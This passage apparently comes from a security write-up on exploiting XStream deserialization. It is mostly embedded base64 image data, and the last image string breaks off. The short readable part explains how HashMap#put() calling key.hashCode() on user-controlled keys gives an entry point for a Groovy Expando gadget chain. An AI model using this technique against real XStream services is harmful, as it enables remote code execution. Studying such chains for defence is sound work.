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" alt="" />

the user controlled key and value variables read in, and then put into the HashMap. So, let’s look at the HashMap#put() method:

public V put(K key, V value) {
if (key == null)
return putForNullKey(value);
int hash = hash(key.hashCode());
...
}

so as part of the Map#put() call, XStream is indirectly causing key.hashCode() to be called,This is our entry point. If we can repurpose the hashCode() method of some type to do something malicious, we’ll win.

\groovy-all-2.3.9.jar!\groovy\util\Expando.class

aaarticlea/png;base64,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